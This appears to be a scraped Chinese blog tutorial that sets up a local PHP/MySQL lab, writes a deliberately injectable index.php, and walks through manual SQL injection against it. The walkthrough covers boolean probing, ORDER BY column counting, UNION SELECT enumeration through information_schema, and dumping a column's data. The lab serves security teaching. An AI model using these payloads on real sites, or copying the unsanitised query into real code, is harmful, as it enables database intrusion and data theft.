1. 程式人生 > >[經驗技巧] “php+mysql+apache”環境搭建及"手動SQL註入",20180527-0

[經驗技巧] “php+mysql+apache”環境搭建及"手動SQL註入",20180527-0

版本 lin AC 旗艦 分號 正常 HERE sele primary

[經驗技巧] “php+mysql+apache”環境搭建及"手動SQL註入"

1.“php+mysql+apache”環境搭建

  • 環境載體:虛擬機Window7 Service Pack 1 旗艦版

  • 技術分享圖片

  • 下載“phpStudy (php5.2) ”

  • 鏈接:http://www.phpstudy.net/phpstudy/phpStudy(PHP5.2).zip

文件見附件1。

安裝“phpStudy (php5.2) ”

  • 將壓縮包解壓後,雙擊“phpStudy(PHP5.2).exe”進行安裝

  • 技術分享圖片

  • 安裝結束後,彈出“使用手冊”及phpStudy窗體,點擊“應用”:

  • 技術分享圖片

  • 觀察到兩個指示燈由紅色變為綠色,說明“Apache”和“MySQL”已成功啟動:

  • 技術分享圖片

在mysql中新建數據庫及表

  • 打開“MySQL管理器”

  • 技術分享圖片

註:mysql的登錄名及密碼都是“root”。

技術分享圖片

  • 新建數據庫、表,並添加記錄

  • 點擊“SQL編輯器”選項卡,在編輯區域添加如下代碼然後選中並執行:

create database student;#創建一個新的數據庫,名為 student

use student;

create table class1(id int(20) not null AUTO_INCREMENT primary key,name varchar(20) not null,gender varchar(20),phone varchar(20));#在student數據庫中創建新表,名為class1,有4個字段 id、name、gender、phone

#插入3條記錄

insert into class1(name,phone,gender) values (‘own‘,‘13977888888‘,‘male‘);

insert into class1(name,phone,gender) values (‘hdh‘,‘13667777777‘,‘male‘);

insert into class1(name,phone,gender) values (‘ckm‘,‘15666666666‘,‘female‘);

#註意:每條語句後都用分號“;”作為結尾

技術分享圖片

執行SQL語句後,左側導航欄中出現了新創建的數據庫“student”。雙擊“student”後,點擊“數據瀏覽器”選項卡,看到了在表“class1”中添加的3條記錄:

技術分享圖片

也可導入sql腳本“class1.sql”來創建數據庫、表並添加記錄,見附件2。使用時如圖導入即可:

技術分享圖片

  • 若導入sql腳本後未看到應該被創建的數據庫“student”,點擊“視圖”選項卡中的“全部刷新”即可:

  • 技術分享圖片

2.配置含有sql註入點的網頁

  • 在phpStudy安裝目錄下的文件夾“WWW”中新建php網頁

網頁文件命名為“index.php”,在文件內添加如下代碼:

<?php

$con = mysql_connect("localhost","root","root") or die();#連接數據庫

mysql_select_db("student");#選擇student數據庫

$ID = $_GET[‘id‘];#獲取URL中的參數“id”

$sql = "select * from class1 where id=$ID";#構建sql查詢語句

/*若為字符型參數,則用 $sql = "select * from class1 where name=‘$name’";

$name左右加上單引號 */

echo "sql語句: ".$sql."<br >";

$res = mysql_query($sql);#執行查詢語句

while($rows = mysql_fetch_array($res)){

echo "姓名: ".$rows[‘name‘]."<br >";

echo "性別: ".$rows[‘gender‘]."<br >";

echo "電話: ".$rows[‘phone‘]."<br >";

}

mysql_close($con);

?>

文件“index.php”見附件3。該php代碼意為通過URL所傳入的參數“id”的值,構建sql查詢語句“select * from class1 where id”,最後輸出所返回的記錄中的三個字段“name”、“gender”、“phone”。

3.SQL註入

  • 判斷是否為sql註入點

    • 整形參數判斷

1、URL最後加上 and 1=1

2、URL最後加上 and 1=2

如果2異常,1正常就存在註入

本文使用的是整形參數,結果如下:

and 1=1

技術分享圖片

and 1=2

技術分享圖片

  • 猜字段數

http://127.0.0.1/?id=1 order by <n> #註:n是任意數字。若返回頁面正常,則該數字為字段數

技術分享圖片

  • 獲取數據庫名、用戶名、數據庫版本

http://127.0.0.1/?id=1 union select 1,database(),user(),version()

技術分享圖片

  • 猜解表名

    • 1.mysql版本在5.1後

      • mysql5.1後,設有一個表保存所有數據庫下的表名,據此查詢獲得指定數據庫下的表名

使用小葵工具轉化數據庫名“student”,得到hex值:

技術分享圖片

“小葵多功能轉換工具”見附件4。

將Hex值填到“where table_schema=”後。如是獲取了數據庫“student”下的表“class1”的表名:

http://127.0.0.1/?id=1 union select 1,table_name,2,3 from information_schema.tables where table_schema=0x73747564656E74

技術分享圖片

2.mysql版本在5.1前時,如何猜解表名

在URL後加入sql語句,返回正常表示存在該表名

<URL> and exists(select * from <所猜解的表名>)

  • 獲取指定表的列信息

    • 使用小葵工具轉化表名“class1”,得到hex值:

  • 技術分享圖片

  • 將Hex值填到”where table_name=”後。如是獲取了表“class1”的列信息。

http://127.0.0.1/?id=1 union select 1,column_name,2,3 from information_schema.columns where table_name=0x636C61737331

技術分享圖片

  • 猜解列名(字段名)

    • 在URL後加入sql語句,返回正常表示存在所猜解的列名

<URL> and exists(select <所猜解的列名> from <表名>)

  • 獲取指定列的數據

例如,獲取表“class1”中,列“phone”的數據:

http://127.0.0.1/?id=1 union select 1,phone,2,3 from class1

技術分享圖片

註: 若瀏覽器訪問頁面時出現亂碼,將瀏覽器編碼設置為“UTF-8”即可解決:

技術分享圖片

============================================

[經驗技巧] “php+mysql+apache”環境搭建及"手動SQL註入",20180527-0